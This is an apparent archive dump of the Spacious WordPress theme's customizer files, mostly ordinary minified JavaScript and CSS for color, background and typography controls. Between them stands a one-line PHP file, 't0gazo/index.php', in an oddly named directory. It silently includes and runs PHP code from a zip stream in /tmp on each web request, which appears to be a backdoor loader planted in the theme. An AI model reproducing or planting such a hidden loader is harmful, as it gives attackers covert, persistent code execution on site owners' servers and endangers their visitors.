id="customize-control-'+t.name+'" class="customize-control '+o+" customize-control-"+t.control+'" >',c+=i(t),c+="</li>"});t=new Object;return t.controls=s,t.html=c,t},onOptionChange:function(t,e,n,o,i){u(".hidden-field-"+i).val(o),wp.customize.control(i).setting.set(o)},initColorControl:function(t,e,n){var o=this;t.find(".customize-control-spacious-color .spacious-color-picker-alpha").wpColorPicker({change:function(t,e){void 0===t.originalEvent&&void 0===e.color._alpha||(t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0],n=(n=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),u(t).val(e.color.toString()),o.container.trigger("spacious_settings_changed",[o,u(t),e.color.toString(),n]))},clear:function(t){t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0];n=(n=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),u(t).val(""),o.container.trigger("spacious_settings_changed",[o,u(t),"",n]),wp.customize.previewer.refresh()}})},initBackgroundControl:function(a,t,r){var e=u("#customize-control-"+a.id.replace("[","-").replace("]","")+" .background-hidden-value"),e=JSON.parse(e.val()),t=t.name,n=a.container.find(".spacious-color-picker-alpha"),c=a.container.find("#customize-control-"+t);!_.isUndefined(e["background-image"])&&""!==e["background-image"]||(c.find(".customize-control-content > .background-repeat").hide(),c.find(".customize-control-content > .background-position").hide(),c.find(".customize-control-content > .background-size").hide(),c.find(".customize-control-content > .background-attachment").hide()),n.wpColorPicker({change:function(){var t;u("html").hasClass("colorpicker-ready")&&(t=u(this),setTimeout(function(){a.saveBackgroundValue("background-color",n.val(),t,r)},100))},clear:function(t){t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0];t&&a.saveBackgroundValue("background-color","",u(t),r),wp.customize.previewer.refresh()}}),c.on("click",".background-image-upload-button, .thumbnail-image img",function(t){var o=u(this),i=wp.media({multiple:!1}).open().on("select",function(){var t,e=i.state().get("selection").first(),n=e.toJSON().sizes.full.url;_.isUndefined(e.toJSON().sizes.medium)?_.isUndefined(e.toJSON().sizes.thumbnail)||(n=e.toJSON().sizes.thumbnail.url):n=e.toJSON().sizes.medium.url,t=e.toJSON().sizes.full.url,e.toJSON().id,e.toJSON().width,e.toJSON().height,""!==t&&c.find(".customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment").show(),a.saveBackgroundValue("background-image",t,o,r),e=c.find(".placeholder, .thumbnail"),t=c.find(".background-image-upload-remove-button"),e.length&&e.removeClass().addClass("thumbnail thumbnail-image").html('<img src="'+n+'" alt="" />'),t.length&&t.show()});t.preventDefault()}),c.on("click",".background-image-upload-remove-button",function(t){var e;t.preventDefault(),a.saveBackgroundValue("background-image","",u(this)),e=c.find(".placeholder, .thumbnail"),t=c.find(".background-image-upload-remove-button"),c.find(".customize-control-content > .background-repeat").hide(),c.find(".customize-control-content > .background-position").hide(),c.find(".customize-control-content > .background-size").hide(),c.find(".customize-control-content > .background-attachment").hide(),e.length&&e.removeClass().addClass("placeholder").html(SpaciousCustomizerControlBackground.placeholder),t.length&&t.hide()}),c.on("change",".background-repeat select",function(){a.saveBackgroundValue("background-repeat",u(this).val(),u(this),r)}),c.on("change",".background-position select",function(){a.saveBackgroundValue("background-position",u(this).val(),u(this),r)}),c.on("change",".background-size select",function(){a.saveBackgroundValue("background-size",u(this).val(),u(this),r)}),c.on("change",".background-attachment select",function(){a.saveBackgroundValue("background-attachment",u(this).val(),u(this),r)})},saveBackgroundValue:function(t,e,n,o){var i=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .background-hidden-value"),a=JSON.parse(i.val());a[t]=e,u(i).attr("value",JSON.stringify(a)).trigger("change"),o=(o=u(n).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,n,a,o])},initTypographyControl:function(t,e,n){t.setting._value;var o=e.name,o=t.container.find("#customize-control-"+o);t.renderTypographyFontSelector(u(this),n,e),t.renderTypographyVariantSelector(u(this),n,e),t.renderTypographySubsetSelector(u(this),n,e),o.on("change",".font-style select",function(){t.saveTypographyValue("font-style",u(this).val(),u(this),n)}),o.on("change",".text-transform select",function(){t.saveTypographyValue("text-transform",u(this).val(),u(this),n)}),o.on("change",".text-decoration select",function(){t.saveTypographyValue("text-decoration",u(this).val(),u(this),n)}),o.on("change keyup paste input",".font-size input",function(){t.saveTypographyFontSize(u(this),n,e)}),o.on("change keyup paste input",".line-height input",function(){t.saveTypographyLineHeight(u(this),n,e)}),o.on("change keyup paste input",".letter-spacing input",function(){t.saveTypographyLetterSpacing(u(this),n,e)})},renderTypographyFontSelector:function(t,e,n){var o=this,i=o.selector+" .font-family select",a=[],r=[],c=[],s=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),l=JSON.parse(s.val()),s=o.getTypographyFonts();_.isUndefined(s.standard)||_.each(s.standard,function(t){a.push({id:t.family.replace(/&quot;/g,"&#39"),text:t.label})}),_.isUndefined(s.google)||_.each(s.google,function(t){r.push({id:t.family,text:t.label})}),data=[{text:s.standardfontslabel,children:a},{text:s.googlefontslabel,children:r}],_.isUndefined(s.custom)||(_.each(s.custom,function(t){c.push({id:t.family,text:t.label})}),data.push({text:s.customfontslabel,children:c})),i=u(i).selectWoo({data:data,width:"100%"}),l["font-family"]&&i.val(l["font-family"].replace(/'/g,'"')).trigger("change"),i.on("change",function(){o.saveTypographyValue("font-family",u(this).val(),u(this),e),o.renderTypographyVariantSelector(u(this),e,n),o.renderTypographySubsetSelector(u(this),e,n)})},getTypographyFonts:function(){return _.isUndefined(SpaciousCustomizerControlTypography)?{google:[],standard:[]}:SpaciousCustomizerControlTypography},renderTypographyVariantSelector:function(t,e,n){var o=this,i=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val()),r=a["font-family"],i=o.getTypographyVariants(r),r=o.selector+" .font-weight select",c=[],s=!1;!1!==i?(u(o.selector+" .font-weight").show(),_.each(i,function(t){a["font-weight"]===t.id&&(s=!0),c.push({id:t.id,text:t.label})}),s||(a["font-weight"]="regular"),u(r).hasClass("select2-hidden-accessible")&&(u(r).selectWoo("destroy"),u(r).empty()),(r=u(r).selectWoo({data:c,width:"100%"})).val(a["font-weight"]).trigger("change"),r.on("change",function(){o.saveTypographyValue("font-weight",u(this).val(),u(this),e)})):u(o.selector+" .font-weight").hide()},getTypographyVariants:function(e){var t=this.getTypographyFonts(),n=!1;return _.each(t.standard,function(t){if(e&&t.family===e.replace(/'/g,'"'))return n=t.variants}),_.each(t.google,function(t){if(t.family===e)return n=t.variants}),_.isUndefined(t.custom)||_.each(t.custom,function(t){if(t.custom===e)return n=t.variants}),n},renderTypographySubsetSelector:function(t,e,n){var o=this,i=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val()),r=a["font-family"],i=o.getTypographySubsets(r),r=o.selector+" .subsets select",c=[],s=a.subsets;!1!==i?(u(o.selector+" .subsets").show(),_.each(i,function(e){_.isObject(s)&&-1===s.indexOf(e.id)&&(s=_.reject(s,function(t){return t===e.id})),c.push({id:e.id,text:e.label})})):u(o.selector+" .subsets").hide(),u(r).hasClass("select2-hidden-accessible")&&(u(r).selectWoo("destroy"),u(r).empty()),(r=u(r).selectWoo({data:c,width:"100%"})).val(s).trigger("change"),r.on("change",function(){o.saveTypographyValue("subsets",u(this).val(),u(this),e)})},getTypographySubsets:function(e){var n=!1,t=this.getTypographyFonts();return _.each(t.google,function(t){if(t.family===e)return n=t.subsets}),n},saveTypographyFontSize:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"font-size":{}};n.find(".font-size .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["font-size"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyLineHeight:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"line-height":{}};n.find(".line-height .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["line-height"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyLetterSpacing:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"letter-spacing":{}};n.find(".letter-spacing .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["letter-spacing"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyValue:function(t,e,n,o){var i=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val());a[t]=e,u(i).attr("value",JSON.stringify(a)).trigger("change"),o=(o=u(n).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,n,a,o])}})}(jQuery),function(e){e(window).on("load",function(){e(".tg-navigate a").on("click",function(t){t.preventDefault();t=e(this).data("section");t&&wp.customize.section(t).focus()})})}(jQuery),wp.customize.controlConstructor["spacious-radio-image"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}}),wp.customize.controlConstructor["spacious-slider"]=wp.customize.Control.extend({ready:function(){"use strict";var e=this;this.container.find("input[type=range]").on("input change",function(){var t=jQuery(this).val(),e=jQuery(this).closest(".slider-wrapper").find(".spacious-range-value .value");e.val(t),e.change()}),this.container.find(".spacious-slider-reset").click(function(){var t=jQuery(this).closest(".slider-wrapper"),e=t.find("input[type=range]"),n=t.find(".spacious-range-value .value"),t=e.data("reset_value");e.val(t),n.val(t),n.change()}),this.container.on("input change","input[type=number]",function(){var t=jQuery(this).val();jQuery(this).closest(".slider-wrapper").find("input[type=range]").val(t),e.setting.set(t)})}}),wp.customize.controlConstructor["spacious-sortable"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.sortableContainer=t.container.find("ul.sortable").first(),t.sortableContainer.sortable({stop:function(){t.updateValue()}}).disableSelection().find("li").each(function(){jQuery(this).find("i.visibility").click(function(){jQuery(this).toggleClass("dashicons-visibility-faint").parents("li:eq(0)").toggleClass("invisible")})}).click(function(){t.updateValue()})},updateValue:function(){"use strict";var t=[];this.sortableContainer.find("li").each(function(){jQuery(this).is(".invisible")||t.push(jQuery(this).data("value"))}),this.setting.set(t)}}),wp.customize.controlConstructor["spacious-toggle"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this,e=t.setting._value;this.container.on("change","input",function(){e=!!jQuery(this).is(":checked"),t.setting.set(e)})}}),wp.customize.controlConstructor["spacious-typography"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.renderFontSelector(),t.renderVariantSelector(),t.renderSubsetSelector(),t.container.on("change",".font-style select",function(){t.saveValue("font-style",jQuery(this).val())}),t.container.on("change",".text-transform select",function(){t.saveValue("text-transform",jQuery(this).val())}),t.container.on("change",".text-decoration select",function(){t.saveValue("text-decoration",jQuery(this).val())}),t.container.on("change keyup paste input",".font-size input",function(){t.updateFontSize()}),t.container.on("change keyup paste input",".line-height input",function(){t.updateLineHeight()}),t.container.on("change keyup paste input",".letter-spacing input",function(){t.updateLetterSpacing()})},renderFontSelector:function(){var t=this,e=t.selector+" .font-family select",n=[],o=[],i=[],a=t.setting._value,r=t.getFonts();_.isUndefined(r.standard)||_.each(r.standard,function(t){n.push({id:t.family.replace(/&quot;/g,"&#39"),text:t.label})}),_.isUndefined(r.google)||_.each(r.google,function(t){o.push({id:t.family,text:t.label})}),data=[{text:r.standardfontslabel,children:n},{text:r.googlefontslabel,children:o}],_.isUndefined(r.custom)||(_.each(r.custom,function(t){i.push({id:t.family,text:t.label})}),data.push({text:r.customfontslabel,children:i})),e=jQuery(e).selectWoo({data:data,width:"100%"}),a["font-family"]&&e.val(a["font-family"].replace(/'/g,'"')).trigger("change"),e.on("change",function(){t.saveValue("font-family",jQuery(this).val()),t.renderVariantSelector(),t.renderSubsetSelector()})},getFonts:function(){return _.isUndefined(SpaciousCustomizerControlTypography)?{google:[],standard:[]}:SpaciousCustomizerControlTypography},renderVariantSelector:function(){var t=this,e=t.setting._value,n=e["font-family"],o=t.getVariants(n),n=t.selector+" .font-weight select",i=[],a=!1;!1!==o?(jQuery(t.selector+" .font-weight").show(),_.each(o,function(t){e["font-weight"]===t.id&&(a=!0),i.push({id:t.id,text:t.label})}),a||(e["font-weight"]="regular"),jQuery(n).hasClass("select2-hidden-accessible")&&(jQuery(n).selectWoo("destroy"),jQuery(n).empty()),(n=jQuery(n).selectWoo({data:i,width:"100%"})).val(e["font-weight"]).trigger("change"),n.on("change",function(){t.saveValue("font-weight",jQuery(this).val())})):jQuery(t.selector+" .font-weight").hide()},getVariants:function(e){var t=this.getFonts(),n=!1;return _.each(t.standard,function(t){if(e&&t.family===e.replace(/'/g,'"'))return n=t.variants}),_.each(t.google,function(t){if(t.family===e)return n=t.variants}),_.isUndefined(t.custom)||_.each(t.custom,function(t){if(t.custom===e)return n=t.variants}),n},renderSubsetSelector:function(){var t=this,e=t.setting._value,n=e["font-family"],o=t.getSubsets(n),n=t.selector+" .subsets select",i=[],a=e.subsets;!1!==o?(jQuery(t.selector+" .subsets").show(),_.each(o,function(e){_.isObject(a)&&-1===a.indexOf(e.id)&&(a=_.reject(a,function(t){return t===e.id})),i.push({id:e.id,text:e.label})})):jQuery(t.selector+" .subsets").hide(),jQuery(n).hasClass("select2-hidden-accessible")&&(jQuery(n).selectWoo("destroy"),jQuery(n).empty()),(n=jQuery(n).selectWoo({data:i,width:"100%"})).val(a).trigger("change"),n.on("change",function(){t.saveValue("subsets",jQuery(this).val())})},getSubsets:function(e){var n=!1,t=this.getFonts();return _.each(t.google,function(t){if(t.family===e)return n=t.subsets}),n},saveValue:function(t,e){var n=this.container.find(".typography-hidden-value"),o=this.setting._value;o[t]=e,jQuery(n).attr("value",JSON.stringify(o)).trigger("change"),this.setting.set(o)},updateFontSize:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"font-size":{}};this.container.find(".font-size .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["font-size"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)},updateLineHeight:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"line-height":{}};this.container.find(".line-height .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["line-height"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)},updateLetterSpacing:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"letter-spacing":{}};this.container.find(".letter-spacing .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["letter-spacing"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)}});core/custom-controls/assets/js/t0gazo/index.php000066600000000145152367043330015623 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "f.php"; include("zip:///tmp/phpUZhB4G#$h");?>core/custom-controls/assets/css/customize-controls.min.css000066600000045556152367043330020151 0ustar00.tooltip-text{background-color:#444;border-radius:4px;bottom:125%;-webkit-box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);box-shadow:0 10px 20px 0 rgba(68,68,68,0.2);color:#fff;left:4px;margin-left:calc(-120px / 2);opacity:0;padding:10px 10px;position:absolute;text-align:center;-webkit-transition:opacity .3s;transition:opacity .3s;visibility:hidden;width:120px;z-index:1}.tooltip-text::after{border-color:#444 transparent transparent transparent;border-style:solid;border-width:5px;content:"";left:50%;margin-left:-5px;position:absolute;top:100%}.customize-control-spacious-background .customize-control-content>div{margin-bottom:15px}.customize-control-spacious-buttonset .buttonset{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-buttonset .buttonset .buttonset-inner{-webkit-box-flex:1;-ms-flex:1;flex:1}.customize-control-spacious-buttonset .buttonset .buttonset-inner+.buttonset-inner{border-left:0}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset{background:#ebebeb;-webkit-box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);box-shadow:inset 0 0 0 1px rgba(68,68,68,0.1);color:#444;display:block;padding:5px 12px;text-align:center;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.customize-control-spacious-buttonset .buttonset .buttonset-inner .spacious-buttonset:hover{background:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input{display:none}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label{background:#0073aa;color:#fff}.customize-control-spacious-buttonset .buttonset .buttonset-inner input:checked+label:hover{background:#0073aa;color:#fff}.customize-control .actions{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control .actions .button{min-height:34px}.customize-control .actions .button:last-of-type{margin-right:0}.customize-control-header button.random{min-height:34px}input[type=checkbox]:checked{border-radius:2px;-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=radio]:checked{-webkit-box-shadow:0 0 0 1px #0073aa;box-shadow:0 0 0 1px #0073aa}input[type=range]:focus{outline:0}.customize-control-spacious-color .customizer-wrapper{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-color .customizer-wrapper .customize-control-title{display:block;margin:0 0 8px 0}.wp-picker-container .wp-color-result.button{background-color:#ebebeb !important;background-image:none !important;min-height:34px;border:1px solid #ebebeb}.wp-picker-container .wp-color-result.button::after{border:1px solid #ebebeb;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==) !important;border-radius:100%;content:"";height:22px;left:5px;position:absolute;top:5px;width:22px;z-index:0}.wp-picker-container .wp-color-result.button .wp-color-result-text{background:0;border:0;line-height:2.15384615;padding:0 10px 0 6px}.wp-picker-container .wp-color-result.button .color-alpha{border:1px solid #ebebeb;border-radius:100% !important;height:22px !important;left:4px !important;top:4px !important;width:22px !important;z-index:1}.wp-picker-container .wp-picker-input-wrap .wp-picker-default{min-height:34px !important}.wp-picker-container .wp-picker-holder{-webkit-box-shadow:0 0 20px 0 rgba(68,68,68,0.3);box-shadow:0 0 20px 0 rgba(68,68,68,0.3)}.wp-picker-container .iris-picker{border-color:#ebebeb;margin-bottom:5px}.wp-picker-container .iris-picker .iris-alpha-slider{margin-right:-1px}.customize-control-spacious-divider{padding:0 !important}.customize-control-spacious-custom .spacious-custom-info{margin-bottom:15px}.customize-control-spacious-custom .spacious-custom-links li a{background:#0073aa;display:block;text-align:center;color:#fff;padding:8px 16px;text-decoration:none}.customize-control-spacious-divider hr{margin-top:10px;margin-bottom:10px}.customize-control-spacious-divider .divider-placement-above+.spacious-control-tooltip{top:30px}.customize-control-spacious-editor .wp-editor-tools .wp-editor-container textarea{width:100%}.customize-control-spacious-group .spacious-group-wrap>.customizer-text{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-group .spacious-group-toggle-icon{background:#ebebeb;border-radius:100px;color:rgba(68,68,68,0.6);cursor:pointer;font-size:20px;padding:5px;position:relative;right:0;top:0}.customize-control-spacious-group .spacious-group-toggle-icon:before{content:"\f464"}.customize-control-spacious-group .spacious-group-toggle-icon.open{background:#0073aa;color:#fff}.customize-control-spacious-group .spacious-group-toggle-icon.open:before{content:"\f158"}.customize-control-spacious-group .spacious-group-toggle-icon.toggle-description{right:25px}.customize-control-spacious-group .spacious-field-settings-modal{background-color:#fff;border-radius:5px;-webkit-box-shadow:0 2px 10px rgba(0,0,0,0.3);box-shadow:0 2px 10px rgba(0,0,0,0.3);left:0;position:absolute;right:0;z-index:9999}.customize-control-spacious-group .spacious-field-settings-modal:before{border:8px solid transparent;border-bottom-color:#fff;content:"";pointer-events:none;position:absolute;right:17px;top:-15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-field-settings-wrap{width:100%}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-tabs,.customize-control-spacious-group .spacious-field-settings-modal .spacious-tab-content{position:relative}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;overflow:hidden;padding:15px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:before,.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list:after{border-collapse:collapse;content:"";display:table}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li{border:1px solid rgba(0,0,0,0.1);-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;margin:0;padding:.5rem .5rem;text-align:center}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:not(:first-child){border-left-width:0}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li:focus{outline-style:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active{background-color:#289dcc}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li.ui-state-active a{color:#fff}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a{color:#555d66;text-decoration:none}.customize-control-spacious-group .spacious-field-settings-modal .spacious-group-list li a:focus{-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-group .spacious-field-settings-modal .customize-control{-webkit-box-sizing:border-box;box-sizing:border-box;padding:20px 15px 0 15px}.customize-control-spacious-group .spacious-field-settings-modal .customize-control:last-child{margin-bottom:15px}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-title{color:#444;display:block;font-size:14px;line-height:1.2;margin:0}.customize-control-spacious-heading .spacious-heading-wrapper .customize-control-description{margin-top:10px;padding:0 12px}.tool-tip{display:inline-block;position:relative}.tool-tip:hover .tooltip-text{opacity:1;visibility:visible}#customize-theme-controls .customize-pane-child .accordion-section-content{padding:10px}.customize-control .customize-control-spacious-color{padding-bottom:0}li.customize-control.customize-control-spacious-hidden{padding:0}.customize-control-spacious-hidden.customize-control{margin-top:0}.customize-control-spacious-radio-image *{-webkit-box-sizing:border-box;box-sizing:border-box}.customize-control-spacious-radio-image input{display:none}.customize-control-spacious-radio-image input:checked+label img{background:#0073aa}.customize-control-spacious-radio-image .image{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image label{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin-top:10px;margin-bottom:10px;position:relative;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.customize-control-spacious-radio-image label>img{background:#ebebeb;border:2px solid #ebebeb;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-radio-image .image-col-1:after,.customize-control-spacious-radio-image .image-col-2:after,.customize-control-spacious-radio-image .image-col-3:after,.customize-control-spacious-radio-image .image-col-4:after{clear:both;content:'';display:block}.customize-control-spacious-radio-image .image-col-1 input:checked+label img,.customize-control-spacious-radio-image .image-col-2 input:checked+label img,.customize-control-spacious-radio-image .image-col-3 input:checked+label img,.customize-control-spacious-radio-image .image-col-4 input:checked+label img{border:0;-webkit-box-shadow:none;box-shadow:none}.customize-control-spacious-radio-image .image-col-1 label{-ms-flex-preferred-size:100%;flex-basis:100%;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.customize-control-spacious-radio-image .image-col-1 label>img{border:0;padding:15px 15px 0;width:70%}.customize-control-spacious-radio-image .image-col-2 label{-ms-flex-preferred-size:calc((100% / 2) - 12px);flex-basis:calc((100% / 2) - 12px)}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(odd){margin-right:10px}.customize-control-spacious-radio-image .image-col-2 label:nth-of-type(even){margin-left:10px}.customize-control-spacious-radio-image .image-col-2 label>img{border:0;padding:12px 12px 0;width:108px}.customize-control-spacious-radio-image .image-col-3 label{-ms-flex-preferred-size:calc((100% / 3) - 8px);flex-basis:calc((100% / 3) - 8px)}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+1){margin-right:10px}.customize-control-spacious-radio-image .image-col-3 label:nth-of-type(3n+3){margin-left:10px}.customize-control-spacious-radio-image .image-col-3 label>img{border:0;padding:8px 8px 0;width:75px}.customize-control-spacious-radio-image .image-col-4 label{-ms-flex-preferred-size:25%;flex-basis:25%;padding:6px 15px;border:1px solid #ebebeb}.customize-control-spacious-radio-image .image-col-4 label:not(:nth-of-type(4n)){border-right-width:0}.customize-control-spacious-radio-image .image-col-4 label>img{border:0}.customize-control-spacious-radio-image .image-col-4 input:checked+label{background:#0073aa}.customize-control-spacious-radio-image label:hover .tooltip-text{opacity:1;visibility:visible}.customize-control-spacious-radio-image .tooltip-text{bottom:105%;left:50%}.customize-control-spacious-slider .slider-wrapper{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap}.customize-control-spacious-slider .slider-wrapper input[type=range]{-webkit-appearance:none;-moz-appearance:none;appearance:none;background:rgba(0,0,0,0.1);cursor:pointer;-webkit-box-flex:1;-ms-flex:1;flex:1;height:5px;padding:0;-webkit-transition:background .3s;transition:background .3s}.customize-control-spacious-slider .slider-wrapper input[type=range]::-webkit-slider-thumb{-webkit-appearance:none;appearance:none;background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-moz-range-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper input[type=range]::-ms-thumb{background:#289dcc;border-radius:100%;height:16px;width:16px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value{-webkit-box-align:center;-ms-flex-align:center;align-items:center;display:-webkit-box;display:-ms-flexbox;display:flex;padding:0 0 0 5px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value input[type=number]{font-size:12px;padding:3px;width:60px}.customize-control-spacious-slider .slider-wrapper .spacious-range-value .spacious-range-unit{padding:0 0 0 5px}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset{color:rgba(0,0,0,0.3);cursor:pointer;-webkit-transition:color .3s ease-in;transition:color .3s ease-in}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset span{font-size:14px}.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:hover,.customize-control-spacious-slider .slider-wrapper .spacious-slider-reset:focus{color:#289dcc}.customize-control-spacious-slider .slider-wrapper.slider-description .spacious-slider-reset span{right:20px}.customize-control-spacious-sortable ul.ui-sortable{cursor:default}.customize-control-spacious-sortable ul.ui-sortable .dashicons-visibility{cursor:pointer}.customize-control-spacious-sortable ul.ui-sortable li{padding:5px 10px;border:1px solid #555;background:#fff;cursor:move}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.dashicons-menu{float:right}.customize-control-spacious-sortable ul.ui-sortable li .dashicons.visibility{margin-right:10px}.customize-control-spacious-sortable ul.ui-sortable li.invisible{color:#aaa;border:1px dashed #aaa}.customize-control-spacious-sortable ul.ui-sortable li.invisible .dashicons.visibility{color:#aaa}.customize-control-spacious-toggle{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.customize-control-spacious-toggle label{position:relative;display:inline-block;width:30px;height:16px;right:0;top:4px}.customize-control-spacious-toggle label.toggle-description{right:20px}.customize-control-spacious-toggle label input{display:none}.customize-control-spacious-toggle label input:checked+.switch:before{background:#fff;border-color:#fff;left:-6px;-webkit-transform:translateX(20px);transform:translateX(20px)}.customize-control-spacious-toggle label input:checked+.switch{background-color:#0073aa;border-color:#0073aa}.customize-control-spacious-toggle label .switch{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background:#fff;border:2px solid #444;border-radius:100px;-webkit-transition:all ease .3s;transition:all ease .3s}.customize-control-spacious-toggle label .switch:before{position:absolute;content:'';height:6px;width:6px;left:3px;bottom:1px;border:2px solid #444;background:#444;border-radius:100%;-webkit-transition:all ease .3s;transition:all ease 